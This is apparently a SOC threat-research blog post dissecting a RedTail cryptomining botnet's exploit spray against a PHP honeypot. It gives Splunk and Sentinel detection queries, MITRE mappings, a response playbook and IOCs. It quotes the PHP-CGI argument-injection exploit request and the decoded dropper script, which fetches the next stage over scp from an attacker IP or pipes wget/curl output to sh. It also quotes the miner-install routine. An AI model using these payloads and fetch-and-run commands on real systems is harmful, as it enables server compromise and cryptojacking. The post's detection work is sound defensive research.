Global SOC / Blog
DNS Audit

THREAT RESEARCH & LABS · Yogesh · 7 November 2026

Detecting RedTail: From a 15-Second Exploit Spray to a Hidden Miner, in Splunk and Sentinel

RedTail hit my PHP honeypot from 12 IPs with the same 49-request exploit kit. I walk through the payload step by step, map it to the kill chain and MITRE ATT&CK, and give the Splunk + CrowdStrike and Sentinel + Defender for Endpoint detections I would run for it.

Part of my honeypot detection series. Org A runs Splunk with CrowdStrike Falcon. Its Falcon queries use Event Search field names; on raw FDR data, apply the normalisation macro first. Org B runs Microsoft Sentinel with Defender for Endpoint. Every web-layer KQL query on this page was run against the honeypot's real logs, and the counts quoted are what came back. The endpoint queries are written from the attacker's own script, because the honeypot had no EDR on it, so treat their field names as a starting point for your environment.

1. What Hit the Server

RedTail is a Monero-mining botnet. It doesn't phish anyone. It finds internet-facing web servers with old bugs, gets a shell as the web server user, and turns your CPU into someone else's income.

Twelve IPs, in nine different countries, ran the same 49-request exploit kit against my PHP honeypot between 23 October and 5 November. Eleven of them fired the whole kit in 14 to 146 seconds; the twelfth stopped after six requests. None came back. No repeat visits, no follow-up, no human. That's what a botnet's spreading module looks like from the receiving end.

One request in that kit carries the real payload. It's a PHP-CGI argument-injection exploit that, if it lands, writes an SSH private key to disk and uses it to scp the next stage off the attacker's server:

POST /?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
User-Agent: libredtail-http
Content-Type: application/x-www-form-urlencoded

<?php shell_exec(base64_decode("Y2QgL3RtcCB8fCBjZCAvdmFyL3RtcCB8fCBj[... 1,300 base64 characters trimmed ...]")); echo(md5("Hello CVE-2024-4577")); ?>

The honeypot runs PHP as an Apache module, not as php-cgi, so none of this executed. That's lucky for me and not much use to you. What's useful is that the attacker shipped me their entire playbook in plain text. Every step in it is something your EDR or your web logs can see, if you know what to look for.

2. The Attack, Step by Step

Here's the full chain, from the first request to the miner running. For each step I've marked where it sits in the kill chain, the ATT&CK technique, and which data source sees it.

Recon + Exploit Step 1: The exploit spray

RedTail doesn't fingerprint your server first. It throws seven different exploit families at it in about fifteen seconds and lets the server tell it which one worked:

#ExploitRequestsATT&CK
1Apache 2.4.49/2.4.50 path traversal to /bin/sh (CVE-2021-41773, CVE-2021-42013)2T1190
2PHP-CGI argument injection (CVE-2024-4577, CVE-2012-1823)5T1190
3PHPUnit eval-stdin.php (CVE-2017-9841), 37 install paths37T1190
4ThinkPHP 5 invokefunction RCE2T1190
5pearcmd.php through local file inclusion: write a PHP file, then include it2T1190, T1505.003
6Docker Engine API (/containers/json)1T1190

Every exploit ends with a canary like echo(md5("Hello CVE-2024-4577")). If the MD5 comes back in the response, the bot knows that exploit worked. That's also why I don't trust "status 200" as a sign of success: the honeypot answered 200 to 45 of these requests, and nothing ran.

Who sees it: your web server or WAF logs. The individual exploits are worth alerting on, but the shape is the stronger signal: one source, several unrelated CVE families, a few seconds. Real users never do that. Neither does a legitimate crawler.

Exploit + Execution Step 2: PHP-CGI argument injection

On a server that runs PHP through php-cgi (XAMPP on Windows is the classic case), the query string ?-d allow_url_include=1 -d auto_prepend_file=php://input turns into PHP command-line switches. The first one allows includes from streams. The second tells PHP to run the request body before the page. CVE-2024-4577 is the Windows twist: a soft hyphen (%AD) gets "best-fit" converted to a normal -, which gets around the old fix.

The body is PHP that base64-decodes a shell script and runs it with shell_exec. That's T1059.004 (Unix shell), with T1027 and T1140 for the base64 wrapping.

Who sees it: web logs see the query string. Only the EDR sees what the shell then does.

Delivery Step 3: Pulling the dropper over SSH

Here's the decoded script, as sent by six of the twelve bots. I've removed the private key and defanged the addresses:

cd /tmp || cd /var/tmp || cd /dev/shm
echo '-----BEGIN OPENSSH PRIVATE KEY-----
[private key removed]
-----END OPENSSH PRIVATE KEY-----' > key.ppk
echo 'StrictHostKeyChecking no
UserKnownHostsFile /dev/null' > sshcfg
chmod 400 key.ppk
scp -s -F sshcfg -i key.ppk dlr@217.60.102[.]5:sh out_sh
if [ $? -eq 0 ]; then
  chmod +x out_sh
  sh out_sh cve_2024_4577 >/dev/null 2>&1
else
  (wget --no-check-certificate -qO- hxxps://217.60.102[.]5/sh || curl -sk hxxps://217.60.102[.]5/sh) | sh -s cve_2024_4577
fi
rm -rf sshcfg key.ppk out_sh

This is the part I like as a defender. Instead of the usual wget | sh, the bot writes an SSH key and a two-line SSH config that switches off host-key checking, then copies the next stage with scp over port 22. Most egress rules watch 80 and 443. Most web servers are allowed out on 22 because nobody thought to stop them. If scp fails, it falls back to HTTPS with certificate checks off.

From 29 October, the other six bots sent a shorter body with no key and no scp, only the HTTPS download. Same server, same script. The operator dropped the clever part and kept what worked.

Who sees it: the EDR, as a web server process tree that ends in scp, ssh, wget or curl. Your firewall sees outbound TCP 22 from a web server, which should almost never happen.

Installation Step 4: The dropper looks for somewhere to run

I have a copy of the sh script the staging host served. The part that matters for detection:

# 1. find a directory this user can write AND execute from
NOEXEC_DIRS=$(findmnt -rn -O noexec -o TARGET)
FOLDERS=$(find / -type d -user $(whoami) -perm -u=rwx -not -path "/tmp/*" -not -path "/proc/*" ...)
for i in $FOLDERS /tmp /var/tmp /dev/shm; do
  if cd "$i" && touch .testfile && dd if=/dev/zero of=.testfile2 bs=2M count=1; then
    rm -rf .testfile .testfile2; break
  fi
done

# 2. kill the competition, remove older installs
dlr clean; sh clean; rm -rf clean
rm -rf .redtail

# 3. fetch the miner for this CPU under a random hidden name, run it
FILENAME=".$(get_random_string)"
dlr x86_64            # or i686 / aarch64 / arm7 / riscv
mv -f x86_64 $FILENAME
chmod +x $FILENAME
./$FILENAME cve_2024_4577

It lists the noexec mounts, searches the whole disk for directories the current user owns with execute rights, and writes a 2 MB test file to prove it can. If you mounted /tmp noexec to stop exactly this kind of thing, this is how it gets around you. Then it kills competing miners (clean), downloads the binary for your CPU, saves it under a random dot-name, and runs it.

There's no persistence in the script. No cron, no systemd unit, no authorized_keys. If the miner survives a reboot, the binary arranges that itself.

Who sees it: the EDR only. This is the richest stretch of the chain, and it's all process creation.

Actions on Objectives Step 5: Mining

The binary mines Monero (T1496 Resource Hijacking). On a real server you'd see sustained CPU, an executable running from a writable directory under the web user, and outbound connections to a mining pool or proxy. Both Falcon and Defender for Endpoint ship built-in coin-miner detections, and they're usually what fires first. The custom detections below are for catching it earlier in the chain.

3. Pyramid of Pain

Here's every indicator this attack gave me, ranked by how much it would hurt the attacker if you detected on it:

LevelIndicator from this attackWhat I'd do with it
Hash valuesDropper 917fcc91…, miner f0aa83bb…Feed them to your EDR's block list and move on. The miner is repacked and saved under a random name, so the next sample will have a new hash.
IP addressesStaging host 217.60.102[.]5; 12 scanner IPsBlock the staging host at egress. Don't bother with the scanner IPs: none of the twelve came back, and they're almost certainly other infected servers.
Domain namesNoneThe operator uses a raw IP for everything, so DNS-based detection gives you nothing here. That's a lesson in itself.
Network / host artefactsUser-Agent libredtail-http; files key.ppk, sshcfg, .redtail; campaign tag cve_2024_4577; SSH key SHA256:O/at8341…Good hunting pivots and cheap alerts. They're also one line of code away from changing. One source in my logs already sent the same PHP-CGI exploit with a fake Firefox User-Agent.
ToolsThe 49-request exploit kit; the dropper's "find an exec-able directory" routineDetect the kit by its shape (many CVE families in a burst), not by any single request. Detect the dropper by the discovery commands it has to run.
TTPsWeb server spawns a shell that downloads a file; web tier connects out on port 22; hidden executable runs from a writable directory as the web userThis is where to spend your effort. RedTail can change every indicator above overnight, but it still has to get a shell from your web server and run something it downloaded.

4. Web-Layer Detections

Both organisations log their web tier. For Org B I've parsed the honeypot's nginx log into a WebAccess function. Swap in your own source (W3CIISLog, App Gateway WAF in AzureDiagnostics, CommonSecurityLog from your WAF) and keep the column names. For Org A I've used the CIM Web data model, so the searches work for any web log that's CIM-mapped.

let WebAccess = Syslog
| where SyslogMessage startswith "php_http: "
| extend j = parse_json(substring(SyslogMessage, 10))
| project TimeGenerated, SrcIp = tostring(j.client), Method = tostring(j.method), Request = tostring(j.request),
          Url = tostring(j.uri), Status = toint(j.status), BytesOut = toint(j.bytes_out),
          UserAgent = tostring(j.user_agent), ContentType = tostring(j.content_type), Body = tostring(j.body);

W1. The User-Agent (bottom of the pyramid, but free)

Org B Tested: 521 requests from 12 sources, 23 Oct to 5 Nov. The bots sent 545 requests in total. The other 24 were the two Apache traversal requests at the start of each full run, which carry no User-Agent at all.

WebAccess
| where UserAgent == "libredtail-http"
| summarize Requests = count(), Sources = dcount(SrcIp), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated)

Org A

| tstats count dc(Web.src) as sources min(_time) as first max(_time) as last
    from datamodel=Web where Web.http_user_agent="libredtail-http"

Keep this as a low-severity alert. It costs nothing and has never produced a false positive for me. Just don't let it be your only RedTail detection.

W2. PHP-CGI argument injection (T1190)

Org B Tested: 58 soft-hyphen requests and 11 plain -d requests, from 13 sources. 45 of them got a 200, and none of them worked.

WebAccess
| where Request has_any ("allow_url_include", "auto_prepend_file")
| extend Variant = iff(Request contains "%AD" or Request contains "%25AD", "CVE-2024-4577 soft-hyphen", "CVE-2012-1823 plain -d")
| summarize Hits = count(), Answered200 = countif(Status == 200), Sources = dcount(SrcIp) by Variant

Org A

| tstats count values(Web.status) as status values(Web.http_user_agent) as ua
    from datamodel=Web
    where (Web.url="*allow_url_include*" OR Web.url="*auto_prepend_file*")
    by Web.src Web.dest Web.url
| eval variant=if(match('Web.url', "(?i)%(25)?AD"), "CVE-2024-4577 soft-hyphen", "CVE-2012-1823 plain -d")

That 13th source is the one with the fake Firefox User-Agent, which is why this rule matters more than W1. False positives are close to zero: no legitimate client puts auto_prepend_file in a query string. Medium severity on its own. Raise it to high if the target actually runs php-cgi (any Windows PHP host, XAMPP, older shared hosting), because then a 200 could mean it worked.

W3. The exploit burst (behavioural, catches the tool)

This is the one I'd put in production first. It doesn't care which CVEs are in the kit, only that one source tried several unrelated exploit families inside five minutes.

Org B Tested: 15 windows from 14 sources.

WebAccess
| extend Family = case(
    Request has_any ("allow_url_include", "auto_prepend_file"), "php-cgi-arg-injection",
    Request has "eval-stdin.php", "phpunit-rce",
    Request has "invokefunction", "thinkphp-rce",
    Request has "pearcmd", "pearcmd-lfi",
    Request has_any ("/cgi-bin/.%2e", "%%32%65", "/bin/sh"), "apache-traversal",
    Request has "/containers/json", "docker-api",
    Request has "${jndi:", "log4shell",
    Request has "/.env", "env-file",
    Request has "/.git/", "git-repo",
    "")
| where isnotempty(Family)
| summarize Families = dcount(Family), FamilyList = make_set(Family), Requests = count(),
            Start = min(TimeGenerated), End = max(TimeGenerated) by SrcIp, Window = bin(TimeGenerated, 5m)
| where Families >= 3
| project Start, SrcIp, Families, Requests, DurationSec = datetime_diff("second", End, Start), FamilyList
| order by Start asc

Org A

| tstats count from datamodel=Web by _time span=1s Web.src Web.dest Web.url
| rename Web.* as *
| eval family=case(
    match(url, "allow_url_include|auto_prepend_file"), "php-cgi-arg-injection",
    match(url, "eval-stdin\.php"),                   "phpunit-rce",
    match(url, "invokefunction"),                      "thinkphp-rce",
    match(url, "pearcmd"),                             "pearcmd-lfi",
    match(url, "cgi-bin/(\.%2e|%%32%65)|/bin/sh"),    "apache-traversal",
    match(url, "/containers/json"),                    "docker-api",
    match(url, "\$\{jndi:"),                         "log4shell",
    match(url, "/\.env"),                             "env-file",
    match(url, "/\.git/"),                            "git-repo")
| where isnotnull(family)
| bin _time span=5m
| stats dc(family) as families values(family) as family_list sum(count) as requests
        min(_time) as start max(_time) as end by _time src dest
| where families >= 3
| lookup authorised_scanners.csv src OUTPUT src as allowlisted
| where isnull(allowlisted)

What it found on the honeypot:

Run it as a medium-severity scheduled rule every 5 minutes. On its own it means "you're being sprayed", which happens to every internet-facing server every day. It becomes high severity when it fires together with any of the endpoint rules below on the same server. That combination is your real alert.

5. Endpoint Detections

The web layer tells you someone tried. Only the EDR tells you it worked. Each rule below matches a step in the dropper, so an attacker has to rewrite their tooling to get around it, not just change a string.

For Org A I've used CrowdStrike Falcon Data Replicator events in Splunk (ProcessRollup2, NetworkConnectIP4). Your index and sourcetype may differ, and if you have Falcon Insight you can run the same logic natively in Event Search. For Org B it's Defender for Endpoint Advanced Hunting tables, which Sentinel picks up through the Defender XDR connector.

E1. Web server spawns a shell or downloader (T1059.004, T1105)

Org A

index=crowdstrike event_platform=Lin event_simpleName=ProcessRollup2
    (ParentBaseFileName IN ("apache2","httpd","nginx","php","php-cgi*","php-fpm*")
     OR GrandParentBaseFileName IN ("apache2","httpd","nginx","php","php-cgi*","php-fpm*"))
    FileName IN ("sh","bash","dash","wget","curl","scp","ssh","sftp","base64")
| table _time ComputerName UserName GrandParentBaseFileName ParentBaseFileName FileName CommandLine
| sort 0 _time

Org B

let WebServers = dynamic(["apache2","httpd","nginx","php","php-cgi","php-fpm","php-fpm8.3"]);
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ (WebServers) or InitiatingProcessParentFileName in~ (WebServers)
| where FileName in~ ("sh","bash","dash","wget","curl","scp","ssh","sftp","base64")
| project Timestamp, DeviceName, AccountName, InitiatingProcessParentFileName,
          InitiatingProcessFileName, FileName, ProcessCommandLine
| order by Timestamp asc

This is the single most valuable rule against any web RCE, not only RedTail. It catches the shell_exec in step 2 and the wget, curl or scp in step 3. False positives come from apps that shell out on purpose: image conversion, PDF generation, the odd admin panel's "run backup" button. Baseline for a week, allowlist the exact command lines you find, and run it at high severity.

E2. Web tier connects out on SSH (T1105)

Org A

index=crowdstrike event_platform=Lin event_simpleName=ProcessRollup2
    FileName IN ("scp","ssh","sftp")
    UserName IN ("www-data","apache","nginx","httpd")
| eval no_hostkey_check=if(match(CommandLine, "StrictHostKeyChecking[= ]no|UserKnownHostsFile[= ]/dev/null|-F\s+\S+"), 1, 0)
| table _time ComputerName UserName ParentBaseFileName CommandLine no_hostkey_check

index=crowdstrike event_platform=Lin event_simpleName=NetworkConnectIP4 RemotePort=22
| join type=inner aid ContextProcessId_decimal
    [ search index=crowdstrike event_platform=Lin event_simpleName=ProcessRollup2
        UserName IN ("www-data","apache","nginx","httpd")
      | rename TargetProcessId_decimal as ContextProcessId_decimal
      | fields aid ContextProcessId_decimal FileName CommandLine ]
| where NOT cidrmatch("10.0.0.0/8", RemoteAddressIP4) AND NOT cidrmatch("172.16.0.0/12", RemoteAddressIP4)
    AND NOT cidrmatch("192.168.0.0/16", RemoteAddressIP4)
| table _time ComputerName FileName CommandLine RemoteAddressIP4 RemotePort

Org B

DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemotePort == 22 and RemoteIPType == "Public"
| where InitiatingProcessAccountName in~ ("www-data","apache","nginx","httpd")
     or InitiatingProcessParentFileName in~ ("apache2","httpd","php","php-cgi","php-fpm","sh","bash","dash")
| project Timestamp, DeviceName, InitiatingProcessAccountName, InitiatingProcessFileName,
          InitiatingProcessCommandLine, RemoteIP, RemotePort

A web server account opening SSH to a public IP is almost never legitimate. Deployment tools push in to the server; they don't usually pull out. The Splunk version also flags SSH command lines that switch off host-key checking, which is what RedTail's sshcfg does. Better still, block outbound 22 at the firewall and alert on the denies.

E3. "Where can I execute?" discovery (T1083)

Org A

index=crowdstrike event_platform=Lin event_simpleName=ProcessRollup2
    ((FileName="findmnt" CommandLine="*noexec*")
     OR (FileName="find" CommandLine="*-user*" CommandLine="*-perm*" CommandLine="*rwx*")
     OR (FileName="dd" CommandLine="*if=/dev/zero*" CommandLine="*bs=2M*"))
| bin _time span=2m
| stats dc(FileName) as steps values(CommandLine) as commands by _time aid ComputerName UserName
| where steps >= 2

Org B

DeviceProcessEvents
| where Timestamp > ago(7d)
| where (FileName == "findmnt" and ProcessCommandLine has "noexec")
     or (FileName == "find" and ProcessCommandLine has_all ("-user", "-perm") and ProcessCommandLine has "rwx")
     or (FileName == "dd" and ProcessCommandLine has_all ("if=/dev/zero", "bs=2M"))
| summarize Steps = dcount(FileName), Commands = make_set(ProcessCommandLine)
          by DeviceName, AccountName, bin(Timestamp, 2m)
| where Steps >= 2

This is my favourite rule in the post. Looking for noexec mounts, hunting for owned directories with execute rights, and test-writing a 2 MB file is a very specific routine. Admins rarely chain these together within two minutes. Other Linux droppers use the same trick, so this rule outlives RedTail. Expect a handful of false positives from hardening-audit scripts, which you can allowlist by parent process.

E4. Hidden or temp-path executable run by the web user (T1564.001, T1036)

Org A

index=crowdstrike event_platform=Lin event_simpleName=ProcessRollup2
    UserName IN ("www-data","apache","nginx","httpd")
| rex field=ImageFileName "(?<exe_dir>.*)/(?<exe_name>[^/]+)$"
| where like(exe_name, ".%")
    OR match(exe_dir, "^(/tmp|/var/tmp|/dev/shm|/var/www|/run/user)")
| table _time ComputerName UserName ImageFileName CommandLine ParentBaseFileName SHA256HashData

Org B

DeviceProcessEvents
| where Timestamp > ago(7d)
| where AccountName in~ ("www-data","apache","nginx","httpd")
| where FileName startswith "."
     or FolderPath matches regex @"^/(tmp|var/tmp|dev/shm|var/www|run/user)(/|$)"
| project Timestamp, DeviceName, AccountName, FolderPath, FileName, ProcessCommandLine,
          InitiatingProcessFileName, SHA256

Web server accounts should run the web server, the interpreter and very little else. A process running as www-data from a dot-file, /tmp, /dev/shm or the web root is a strong signal. High severity.

E5. Mining-pool connections (T1496)

Org A

index=crowdstrike event_platform=Lin event_simpleName=NetworkConnectIP4
    RemotePort IN (3333, 4444, 5555, 7777, 9999, 14433, 14444, 45560, 45700)
| where NOT cidrmatch("10.0.0.0/8", RemoteAddressIP4) AND NOT cidrmatch("172.16.0.0/12", RemoteAddressIP4)
    AND NOT cidrmatch("192.168.0.0/16", RemoteAddressIP4)
| stats count values(RemotePort) as ports dc(RemoteAddressIP4) as remotes by aid ComputerName ContextProcessId_decimal
| sort - count

Org B

let MiningPorts = dynamic([3333, 4444, 5555, 7777, 9999, 14433, 14444, 45560, 45700]);
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemotePort in (MiningPorts) and RemoteIPType == "Public"
| summarize Connections = count(), Ports = make_set(RemotePort), Remotes = make_set(RemoteIP, 20)
          by DeviceName, InitiatingProcessFolderPath, InitiatingProcessFileName, InitiatingProcessAccountName
| order by Connections desc

Use this as a hunt, not an alert. Pool port lists go stale quickly, and many miners now tunnel over 443. By the time this fires, you've already missed four earlier chances. The EDR's built-in miner detection is the better alert here.

6. When It Fires

The order I'd work it in, whichever stack you're on:

  1. Did it get past the web layer? If only W1 to W3 fired, check the target is patched and not running php-cgi, then close it. If any E rule fired on the same host, treat it as a compromise.
  2. Contain. Org A Network-contain the host from the Falcon console. Containment leaves the sensor connected, so Real Time Response still works. Org B Use Isolate device in Defender, which is supported on Linux, and collect an investigation package.
  3. Scope the process tree. Start from the web server process and pull every descendant. You're looking for the dropper's working directory (whichever one passed the dd test) and a dot-file of about 2 MB in it. Org A Use the process explorer, or RTR ls -la on the candidate directories. Org B Pivot from the alert to the device timeline and filter by www-data.
  4. Look for the SSH key. If scp ran, the key and config were deleted afterwards, but the outbound port-22 connection will still be in NetworkConnectIP4 or DeviceNetworkEvents.
  5. Find the way in. Use the W2 or W3 hit to work out which exploit landed. The campaign tag in the command line (cve_2024_4577) tells you directly. Patch that, not just the symptom.
  6. Rebuild, don't clean. It's a web server with an attacker's shell on it. Redeploy from a known image and rotate any secrets the web user could read.

7. Hardening

8. IOCs

These are at the bottom of the pyramid. Load them, then go back and build the behavioural rules.

TypeValue
Staging host217.60.102[.]5: HTTPS for /sh, /clean, /x86_64, /i686, /aarch64, /arm7, /riscv; SSH 22 as user dlr
User-Agentlibredtail-http
Dropper SHA-256917fcc9131c6e9ca16264a85afc62532297bb39eb9d37765dad536c7c8c7735c
Miner (x86_64, UPX) SHA-256f0aa83bbbd2c75e2f71ec16029ee5fcfad59f3a8efa30a500b815f0f6c18d987
Embedded SSH keySHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg (comment dlr@sftp)
Fileskey.ppk, sshcfg, out_sh, .redtail, .testfile2, a random 2 MB dot-file
CanaryMD5 of Hello CVE-2024-4577, Hello PHPUnit, Hello or hi in a response body
Scanner IPs169.58.137[.]184, 45.140.193[.]140, 165.99.207[.]153, 102.244.97[.]185, 119.15.169[.]38, 184.185.26[.]51, 101.35.95[.]146, 157.245.84[.]42, 58.182.58[.]128, 209.99.187[.]10, 51.159.5[.]6, 171.34.139[.]222